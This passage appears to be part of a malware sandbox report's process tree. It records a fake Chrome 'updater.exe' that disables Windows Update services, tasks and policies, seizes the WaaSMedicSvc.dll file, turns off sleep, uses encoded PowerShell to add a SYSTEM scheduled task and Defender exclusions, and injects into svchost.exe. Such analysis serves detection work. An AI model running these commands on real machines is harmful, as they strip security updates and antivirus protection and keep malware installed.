    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:5480
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:5312
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:3484
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        Modifies registry key
        
        PID:1880
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:4896
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        Modifies registry key
        
        PID:3516
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        Modifies registry key
        
        PID:552
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:2004
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5244
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:668
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:116
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:1684
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        
        PID:1204
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4976
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:2996
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:2540
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:4948
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:540
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:1840
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:5136
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:3432
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:2152
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:5652
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:1104
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:4852
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:5268
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:4680
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:1172
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:1664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      PID:5968
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:3452
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:5076
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:3440
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:3448
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:3428
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:5228
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        
        PID:5564
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:4372
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:3144
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:5584
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        
        PID:3972
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5132
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4500
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        
        PID:1892
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4204
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:5712
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:5336
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:5080
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:1376
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:608
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:1688
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:4640
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:4128
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:3456
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:992
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3352
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:4548
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        Power Settings
        
        PID:1828
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:2424
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:4048
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:6120
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:5656
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:3224
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:3872
  - - C:\Windows\System32\cmd.exe
